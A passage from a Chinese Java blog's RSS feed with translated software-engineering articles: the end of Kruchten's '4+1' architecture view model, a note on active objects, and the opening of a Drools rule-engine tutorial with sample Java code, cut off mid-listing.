<P><A name=N1029E><B>图 12 － 从逻辑视图到过程视图的映射</B></A><BR><IMG height=471 alt="图 12 － 从逻辑视图到过程视图的映射" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image026.jpg" width=540 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>从逻辑视图到开发视图 </P>
<P>类通常作为一个模块来实现，例如 Ada 包中可视部分的一个类型。密切相关的类（类的种类）的集合组合到子系统中。子系统的定义必须考虑额外的约束，如团队组织、期望的代码规模（通常每个子系统为 5 K 或 20 K SLOC）、可重用性和通用性的程度以及严格的分层依据（可视性问题），发布策略和配置管理。所以，通常最后得到的不是与逻辑视图逐一对应的视图。</P>
<P>逻辑视图和开发视图非常接近，但具有不同的关注点。我们发现项目规模越大，视图间的差距也越大。例如，如果比较图 3 b 和图 6，则会发现并不存在逐一对应的类的不同种类到层的映射。而如果我们考虑类的种类的"外部接口"－网关种类时，它的实现遍布若干层：通讯协议在第 1 层或以下的层，通用网关机制在第 2 层，而特定的网关在第 5 层子系统。</P>
<P>从进程视图到物理视图 </P>
<P>进程和进程组以不同的测试和部署配置映射至可用的物理硬件。Birman 在 ISIS 项目中描述了详细的映射模式5。</P>
<P>场景主要以所使用类的形式与逻辑视图相关联；而与进程视图的关联则是考虑了一个或多个控制线程的、对象间的交互形式。</P>
<P><A name=N102C0><SPAN class=atitle3>模型的剪裁</SPAN></A><BR>并不是所有的软件架构都需要"4＋1"视图。无用的视图可以从架构描述中省略，比如：只有一个处理器，则可以省略物理视图；而如果仅有一个进程或程序，则可以省略过程视图。 对于非常小型的系统，甚至可能逻辑视图与开发视图非常相似，而不需要分开的描述。场景对于所有的情况均适用。</P>
<P><A name=N102C9><SPAN class=atitle3>迭代过程 </SPAN></A><BR>Witt 等人为设计和架构指出了 4 个阶段：勾画草图、组织、具体化和优化，分成了 12 个步骤7。他们还指出需要某种程度的反向工程。而我们认为对于大型的项目，该方法太"线性化"了。在 4 个阶段的末尾，可用于验证架构的内容太少。我们提倡一种更具有迭代性质的方法，即架构先被原形化、测试、估量、分析，然后在一系列的迭代过程中被细化。该方法除了减少与架构相关的风险之外，对于项目而言还有其他优点：团队合作、培训，加深对架构的理解，深入程序和工具等等（此处提及的是演进的原形，逐渐发展成为系统，而不是一次性的试验性的原形）。这种迭代方法还能够使需求被细化、成熟化并能够被更好地理解。</P>
<P>场景驱动（scenario-driven）的方法</P>
<P>系统大多数关键的功能以场景（或 use cases）的形式被捕获。关键意味着：最重要的功能，系统存在的理由，或使用频率最高的功能，或体现了必须减轻的一些重要的技术风险。</P>
<P>开始阶段:</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>基于风险和重要性为某次迭代选择一些场景。场景可能被归纳为对若干用户需求的抽象。 
<LI>形成"稻草人式的架构"。然后对场景进行"描述"，以识别主要的抽象（类、机制、过程、子系统），如 Rubin 与 Goldberg6 所指出的 ―― 分解成为序列对（对象、操作）。 
<LI>所发现的架构元素被分布到 4 个蓝图中：逻辑蓝图、进程蓝图、开发蓝图和物理蓝图。 
<LI>然后实施、测试、度量该架构，这项分析可能检测到一些缺点或潜在的增强要求。 
<LI>捕获经验教训。 </LI></UL>
<P>循环阶段:</P>
<P>下一个迭代过程开始进行：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>重新评估风险， 
<LI>扩展考虑的场景选择板。 
<LI>选择能减轻风险或提高结构覆盖的额外的少量场景， </LI></UL>
<P>然后:</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>试着在原先的架构中描述这些场景。 
<LI>发现额外的架构元素，或有时还需要找出适应这些场景所需的重要架构变更。 
<LI>更新4个主要视图：逻辑视图、进程视图、开发视图和物理视图。 
<LI>根据变更修订现有的场景。 
<LI>升级实现工具（架构原型）来支持新的、扩展了的场景集合。 
<LI>测试。如果可能的话，在实际的目标环境和负载下进行测试。 
<LI>然后评审这五个视图来检测简洁性、可重用性和通用性的潜在问题。 
<LI>更新设计准则和基本原理。 
<LI>捕获经验教训。 </LI></UL>
<P>终止循环</P>
<P>为了实际的系统，初始的架构原型需要进行演进 。较好的情况是在经过 2 次或 3 次迭代之后，结构变得稳定：主要的抽象都已被找到。子系统和过程都已经完成，以及所有的接口都已经实现。接下来则是软件设计的范畴，这个阶段可能也会用到相似的方法和过程。</P>
<P>这些迭代过程的持续时间参差不齐，原因在于：所实施项目的规模，参与项目人员的数量、他们对本领域和方法的熟悉程度，以及该系统和开发组织的熟悉程度等等。因而较小的项目迭代过程可能持续 2-3 周（例如，10 K SLOC），而大型的项目可能为 6-9 个月（例如，700 K SLOC）。 </P>
<P><A name=N10329><SPAN class=atitle3>架构的文档化</SPAN></A><BR>架构设计中产生的文档可以归结为两种：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>软件架构文档，其结构遵循"4+1"视图（请对照图 13，一个典型的提纲） 
<LI>软件设计准则，捕获了最重要的设计决策。这些决策必须被遵守，以保持系统架构的完整性。 
<P><A name=N1033B><B>图 13 － 软件架构文档提纲</B></A><BR><IMG height=360 alt="图 13 － 软件架构文档提纲" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image027.gif" width=174 border=0> </P></LI></UL>
<P><A name=N1034D><SPAN class=atitle2>结束语 </SPAN></A><BR>无论是否经过一次本地定制的和技术上的调整，"4＋1"视图都能在许多大型项目中成功运用。事实上，它允许不同的"风险承担人"找出他们就软件架构所关心的问题。系统工程师首先接触物理视图，然后转向进程视图；最终用户、顾客、数据分析专家从逻辑视图入手；项目经理、软件配置人员则从开发视图来看待"4＋1"视图。在 Rational 和其他地方，提出并讨论了其他系列视图，例如 Meszaros(BNR)、Hofmeister。Nord 和 Soni(Siemenms)、Emery 和 Hilliard（Mitre），但我们发现其他视图通常可以归入我们所描述的 4 个视图中的一个。例如 Cost&amp;Schedule 视图可以归入开发视图，将一个数据视图归入一个逻辑视图，以及将一个执行视图归入进程视图和物理视图的组合。</P>
<P><A name=N10358><B>表 1 － "4＋1"视图模型一览表</B></A><BR><IMG height=255 alt='表 1 － "4＋1"视图模型一览表' src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/table.gif" width=601 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P><A name=N10368><SPAN class=atitle2>致谢</SPAN></A><BR>"4+1" 视图的诞生要归功于在Rational、加拿大的 Hughes Aircraft、Alcatel 以及其他地方工作的同事。笔者特别感谢下面这些人的贡献： Ch. Thompson、A. Bell、M.Devlin、G. Booch、W. Royce、J. Marasco、R. Reitman、V. Ohnjec、E. Schonberg。</P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<OL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>您可以参阅本文在 developerWorks 全球站点上的 <A href="http://www.software.ibm.com/ibmdl/pub/software/rational/web/whitepapers/2003/Pbk4p1.pdf" target=_blank>英文原文</A>。 
<LI>D. Garlan &amp; M. Shaw, "An Introduction to Software Architecture," Advances in Software Engineering and Knowledge Engineering, Vol. 1, World Scientific Publishing Co. (1993). 
<LI>D. E. Perry &amp; A. L. Wolf, "Foundations for the Study of Software Architecture," ACM Software Engineering Notes, 17, 4, October 1992, 40-52. 
<LI>Ph. Kruchten &amp; Ch. Thompson, "An Object-Oriented, Distributed Architecture for Large Scale Ada Systems," Proceedings of the TRI-Ada '94 Conference, Baltimore, November 6-11, 1994, ACM,p.262-271. 
<LI>G. Booch: Object-Oriented Analysis and Design with Applications, 2nd. edition, Benjamin-Cummings Pub. Co., Redwood City, California, 1993, 589p. 
<LI>K. P. Birman, and R. Van Renesse, Reliable Distributed Computing with the Isis Toolkit, IEEE Computer Society Press, Los Alamitos CA, 1994. 
<LI>K. Rubin &amp; A. Goldberg, "Object Behavior Analysis," CACM, 35, 9 (Sept. 1992) 48-62 
<LI>B. I. Witt, F. T. Baker and E. W. Merritt, Software Architecture and Design-Principles, Models, and Methods, Van Nostrand Reinhold, New-York (1994) 324p. 
<LI>D. Garlan (ed.), Proceedings of the First Internal Workshop on Architectures for Software Systems, CMU-CS-TR-95-151, CMU, Pittsburgh, 1995. </LI></OL>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>Philippe Kruchten </TD></TR></TBODY></TABLE><BR clear=all><IMG height=10 alt="" src="http://www.ibm.com/i/c.gif" width=100 border=0></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/13574.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-20 21:14 <a href="http://www.blogjava.net/kapok/archive/2005/09/20/13574.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>主动对象</title><link>http://www.blogjava.net/kapok/archive/2005/09/20/13572.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 20 Sep 2005 13:08:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/20/13572.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/13572.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/20/13572.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/13572.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/13572.html</trackback:ping><description><![CDATA[<STRONG><FONT size=5>&nbsp;</FONT></STRONG>
<P align=justify><A name=_Toc532649025></A><A name=_Toc532649683></A><A name=_Toc532650467></A><A name=_Toc535899856></A><A name=_Toc88053>5.1 </A><FONT lang=ZH-CN face=楷体_GB2312 size=5><A name=_Toc88053>主动对象</A></P></FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>
<P align=justify>　　那么到底什么是主动对象呢？传统上，所有的对象都是被动的代码段，对象中的代码是在对它发出方法调用的线程中执行的。也就是，调用线程（</FONT><FONT size=3>calling threads</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>）被“借出”，以执行被动对象的方法。</P>
<P align=justify>　　而主动对象却不一样。这些对象持有它们自己的线程（甚或多个线程），并将这个线程用于执行对它们的任何方法的调用。因而，如果你想象一个传统对象，在里面封装了一个线程（或多个线程），你就得到了一个主动对象。</P>
<P align=justify>　　例如，设想对象</FONT><FONT size=3>“A”</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>已在你的程序的</FONT><FONT size=3>main()</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>函数中被实例化。当你的程序启动时，</FONT><FONT size=3>OS</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>创建一个线程，以从</FONT><FONT size=3>main()</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>函数开始执行。如果你调用对象</FONT><FONT size=3>A</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>的任何方法，该线程将“流过”那个方法，并执行其中的代码。一旦执行完成，该线程返回调用该方法的点并继续它的执行。但是，如果</FONT><FONT size=3>”A”</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>是主动对象，事情就不是这样了。在这种情况下，主线程不会被主动对象借用。相反，当</FONT><FONT size=3>”A”</FONT><FONT lang=ZH-CN face=楷体_GB2312 size=3>的方法被调用时，方法的执行发生在主动对象持有的线程中。另一种思考方法：如果调用的是被动对象的方法（常规对象），调用会阻塞（同步的）；而另一方面，如果调用的是主动对象的方法，调用不会阻塞（异步的）。</P></FONT><FONT size=3>
<P align=justify>　</P></FONT><img src ="http://www.blogjava.net/kapok/aggbug/13572.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-20 21:08 <a href="http://www.blogjava.net/kapok/archive/2005/09/20/13572.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Profile,Stereotype,TaggedValue与OCL漫谈</title><link>http://www.blogjava.net/kapok/archive/2005/09/12/12784.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 12 Sep 2005 14:13:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/12/12784.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12784.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/12/12784.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12784.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12784.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Profile,Stereotype,TaggedValue与OCL漫谈http://www.blogjava.net/wxb_nudt/archive/2005/09/12/12718.html起因事情的起因是由于我需要在一篇文章中使用一个UML Profile for Design Pattern，就是在上一篇blog中提到的那个Profile。但是当我使用OCL来描述一些约束时，...&nbsp;&nbsp;<a href='http://www.blogjava.net/kapok/archive/2005/09/12/12784.html'>阅读全文</a><img src ="http://www.blogjava.net/kapok/aggbug/12784.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-12 22:13 <a href="http://www.blogjava.net/kapok/archive/2005/09/12/12784.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Drools 为你的业务逻辑提供框架（翻译） </title><link>http://www.blogjava.net/kapok/archive/2005/09/12/12783.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 12 Sep 2005 14:11:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/12/12783.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12783.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/12/12783.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12783.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12783.html</trackback:ping><description><![CDATA[<A href="http://rosen.blogjava.net/archive/2005/09/11/12668.html">http://rosen.blogjava.net/archive/2005/09/11/12668.html</A><BR><BR>&nbsp;大部分 web 以及企业级 Java 应用可被分成三部分：与用户交互的前台，与数据库这样的后台系统交互的服务层，以及它们之间的业务逻辑。最近这段时间，通常我们会使用框架来实现前台和后台的需求（例如：Struts, Cocoon, Spring, Hibernate, JDO, 以及实体 Beans），但是却没有一种标准手段很好的组织业务逻辑。像 EJB 和 Spring 这样的框架都以 high level 方式处理，这无助于组织我们的代码。除非我们改变这种凌乱，否则系统将不会健壮，框架中杂乱的 if...then 语句能带给我们可配置性、可读性的优点，以及在其他地方复用代码的愉悦吗？本文将介绍如何使用 <A href="http://www.drools.org/"><FONT color=#000080>Drools</FONT></A> 规则引擎框架来解决这些问题。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 下列的范例代码展示了我们正要试图努力避免的问题。展示了包含一些业务逻辑的 Java 典型应用。<BR>&nbsp;&nbsp;&nbsp; <BR><FONT color=#000080><EM>if ((user.isMemberOf(AdministratorGroup)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; user.isMemberOf(teleworkerGroup))<BR>&nbsp;&nbsp;&nbsp;&nbsp; || user.isSuperUser(){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // more checks for specific cases<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((expenseRequest.code().equals("B203")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ||(expenseRequest.code().equals("A903")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp;(totalExpenses&lt;200)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp;(bossSignOff&gt; totalExpenses))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp;(deptBudget.notExceeded)) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //issue payments<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else if {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //check lots of other conditions<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>} else {<BR>&nbsp;&nbsp;&nbsp;&nbsp; // even more business logic<BR>}</EM></FONT>
<P>&nbsp;&nbsp;&nbsp; 我们经常写出类似的（甚至更复杂）业务逻辑。当这些用 Java 实现的业务逻辑成为标准方式时，将存在下列问题：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 业务用户怎样在这些难以理解的代码基础上添加另一个条件（比如"C987"）？一旦最初开发这些程序的员工离开了，你想成为维护这些代码的人吗？<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们怎样检查规则的正确性？对业务伙伴的技术人员来说都够复杂的了，更不要说检查。我们可以有系统的测试这些业务逻辑吗？<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 很用应用都有相似的业务规则－－当其中的一个规则改变，我们能保证这一改变可贯穿整个系统？当新应用使用这些规则，该应用已经部分添加了新的规则，但不完全，我们要把逻辑重写过吗？<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们经常需要对每个细小调整所带来的改变进行重编译/重部署，而不是坚实的依靠 Java 代码，业务逻辑是否易于配置？<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可否复用已存在的用其他（脚本）语言编写的业务规则逻辑？<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; J2EE/EJB 以及“IoC inversion of control”框架（比如 Spring,Pico,以及 Avalon）给我们带来的是 high level 代码组织能力。在提供良好复用性、可配置性、以及安全性的同时，没有一个能替代（解决）以上的“spaghetti 代码”范例出现的问题。理想地，无论选择何种框架，不仅仅适合 J2EE 应用，而且也可用于“normal”Java（J2SE）程序，以及大部分普遍采用的表现层以及持久层框架。这种理想框架应该允许我们这样做：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 业务用户应该可以方便的阅读和校验业务逻辑。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 业务规则应该可被复用，并可以通过程序进行配置。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这种框架应该是可升级的，并在高负载情况下运行。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Java 程序员可以像使用现有的前台（Struts,Spring）和后台（ORM object-relational mapping）框架一样方便地使用这个框架。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 另外的问题是，有许多的 web 页面、数据库访问组织方式，业务逻辑在这两种应用中应趋于不同。而框架应该能应付这些并促进代码复用。理想的框架将能“frameworks all the way down.”，通过这种方式使用框架，我们能在应用中大量的“out of the box”，这样我们只为客户记录添加值的部分。<BR>&nbsp;&nbsp;&nbsp; <BR><FONT size=4><STRONG>规则引擎前来救援</STRONG></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 我们怎样解决问题呢？一种方案是通过规则引擎获取 traction。规则引擎是为组织业务逻辑应运而生的框架，它让开发者专注于做被认为正确的事情上，而不是以 low-level 方式作出决定。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 通常，业务用户舒适的表达他们知道的正确的事，而不是 if...else 格式的表达方式。你也许能从业务专家听见这些东西：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; “FORM 10A 用来索取额外 200 欧元费用。(FORM 10A is used for expense claims over 200 Euro.)”<BR>&nbsp;&nbsp;&nbsp; “我们只进行数量在 10,000 以上的贸易。”<BR>&nbsp;&nbsp;&nbsp; “购买大于 €10m 的要经过公司董事批准。”<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 通过专注于我们认为正确的事情上，而不是只知道怎样用 Java 代码表达，那么上面的叙述将比之前的代码范例更清晰。我们仍然需要一种机制为我们知道和做决定的事实应用这些规则。这种机制就是规则引擎。<BR>&nbsp;&nbsp;&nbsp; <BR><FONT size=4><STRONG>Java 中的规则引擎</STRONG></FONT><BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; <A href="http://javaboutique.internet.com/tutorials/rules_engine/"><FONT color=#000080>JSR 94</FONT></A>，如同 JBDC 允许我们与多种数据库交互一样，javax.rules 是一组与规则引擎交互的通用标准 API。为什么 JSR-94 没有详细说明实际的规则怎样书写，有下面大量的 Java 规则引擎可供选择：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; <A href="http://herzberg.ca.sandia.gov/jess/index.shtml"><FONT color=#000080>Jess</FONT></A> 或许是最成熟的 Java 规则引擎，有良好的工具支持（包括 Eclipse 插件）以及文档。但是，它是商业软件，而且用 Prolog-style 符号书写规则，对 Java 程序员来说是很晦涩的。<BR>&nbsp;&nbsp;&nbsp; <A href="http://jena.sourceforge.net/"><FONT color=#000080>Jena</FONT></A> 是一套开源框架，最初由惠普发起。虽然它有规则引擎以及在 Web 语义方面特别强大，但它并不与 JSR-94 兼容。<BR>&nbsp;&nbsp;&nbsp; <A href="http://www.drools.org/"><FONT color=#000080>Drools</FONT></A> 是与 JSR-94 兼容的规则引擎，并且在 Apache-style 许可下完全开源。它不仅用熟悉的 Java 和 XML 语法表述规则，而且它还有强大的用户、开发者社区。在本文中有范例，我们将使用 Drools，因为它有最容易使用的类似 Java 的语法以及完全开发许可。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG><FONT size=4>利用 Drools 开始 Java 开发</FONT></STRONG></P>
<P>&nbsp;&nbsp;&nbsp; 假设有这样的场景：在阅读本文的数分钟后，你老板要求你做一个股票交易应用原型。这时，业务用户尚未被完全定义业务逻辑，你马上会想到最好的办法是用规则引擎实现。最终系统将可通过内部网访问，而且还要和后台数据库以及消息系统通讯。在着手行动前，先下载 Drools 框架（与支持库一起）。在你喜欢的 IDE 中创建新项目，确定所有 .jar 文件被引用进项目，如图 1 中所示。截图是基于 Eclipse 的，不过在其他 IDE 中创建也是相似的。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <IMG height=406 alt="Libraries needed to Run Drools" src="http://www.onjava.com/onjava/2005/08/03/graphics/diagramA1.gif" width=369><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>图 1. 运行 Drools 所需要的库</FONT><BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 如果我们的股票交易系统很混乱，将失去大量潜在客户（商机），所以在系统的整个步骤中放入一些模拟器（simulator）是至关重要的。这种模拟器给了你决心采用该系统的信心，甚至规则改变以后所带来的麻烦。我们将借助敏捷工具箱中的工具，以及 JUnit(<A href="http://www.junit.org/"><FONT color=#000080>http://www.junit.org/</FONT></A>) 框架进行模拟。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 如下，我们写的第一段代码是 JUnit 测试/模拟器。即使我们无法测试每个对应用有价值的输入组合，但有测试也比没有测试的好。在这个范例中，所有的文件和类（包括单元测试）都放入一个文件夹/包中，但实际上，你可能会用一种适当的包、文件夹结构。范例代码中我们用 Log4j 代替 System.out 调用。<BR>&nbsp;&nbsp;&nbsp; <BR><FONT color=#000080><EM>import junit.framework.TestCase;<BR>/*<BR>&nbsp;* JUnit test for the business rules in the <BR>&nbsp;* application.<BR>&nbsp;* <BR>&nbsp;* This also acts a 'simulator' for the business <BR>&nbsp;* rules - allowing us to specify the inputs,<BR>&nbsp;* examine the outputs and see if they match our <BR>&nbsp;* expectations before letting the code loose in&nbsp; <BR>&nbsp;* the real world.<BR>&nbsp;*/<BR>public class BusinessRuleTest extends TestCase {<BR>&nbsp; /**<BR>&nbsp; * Tests the purchase of a stock<BR>&nbsp; */<BR>&nbsp; public void testStockBuy() throws Exception{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Create a Stock with simulated values<BR>&nbsp;&nbsp;&nbsp; StockOffer testOffer = new StockOffer();<BR>&nbsp;&nbsp;&nbsp; testOffer.setStockName("MEGACORP");<BR>&nbsp;&nbsp;&nbsp; testOffer.setStockPrice(22);<BR>&nbsp;&nbsp;&nbsp; testOffer.setStockQuantity(1000);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Run the rules on it<BR>&nbsp;&nbsp;&nbsp; BusinessLayer.evaluateStockPurchase(testOffer);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Is it what we expected?<BR>&nbsp;&nbsp;&nbsp; assertTrue(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; testOffer.getRecommendPurchase()!=null);<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; assertTrue("YES".equals(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; testOffer.getRecommendPurchase()));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; }<BR>}</EM></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 这是最基本的 JUnt 测试，我们知道我们的系统应该买所有低于 100 欧元的股票。很明显，要是没有数据持有类（StockOffer.java）和业务层类（BusinessLayer.java）它将无法编译。这两个类如下。<BR>&nbsp;&nbsp;&nbsp; <BR><FONT color=#000080><EM>/**<BR>&nbsp;* Facade for the Business Logic in our example.<BR>&nbsp;* <BR>&nbsp;* In this simple example, all our business logic<BR>&nbsp;* is contained in this class but in reality it <BR>&nbsp;* would delegate to other classes as required.<BR>*/<BR>public class BusinessLayer {<BR>&nbsp; /**<BR>&nbsp;&nbsp; * Evaluate whether or not it is a good idea<BR>&nbsp;&nbsp; * to purchase this stock.<BR>&nbsp;&nbsp; * @param stockToBuy<BR>&nbsp;&nbsp; * @return true if the recommendation is to buy <BR>&nbsp;&nbsp; *&nbsp;&nbsp; the stock, false if otherwise<BR>&nbsp;&nbsp; */<BR>&nbsp; public static void evaluateStockPurchase<BR>&nbsp;&nbsp;&nbsp; (StockOffer stockToBuy){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<BR>&nbsp; }<BR>}</EM></FONT></P>
<P>&nbsp;&nbsp;&nbsp; StockOffer 是这样：</P>
<P><FONT color=#000080><EM>/**<BR>&nbsp;* Simple JavaBean to hold StockOffer values.<BR>&nbsp;* A 'Stock offer' is an offer (from somebody else)<BR>&nbsp;* to sell us a Stock (or Company share).<BR>&nbsp;*/<BR>public class StockOffer {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //constants<BR>&nbsp; public final static String YES="YES";<BR>&nbsp; public final static String NO="NO";<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Internal Variables<BR>&nbsp; private String stockName =null;<BR>&nbsp; private int stockPrice=0;<BR>&nbsp; private int stockQuantity=0;<BR>&nbsp; private String recommendPurchase = null;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; /**<BR>&nbsp;&nbsp; * @return Returns the stockName.<BR>&nbsp;&nbsp; */<BR>&nbsp; public String getStockName() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 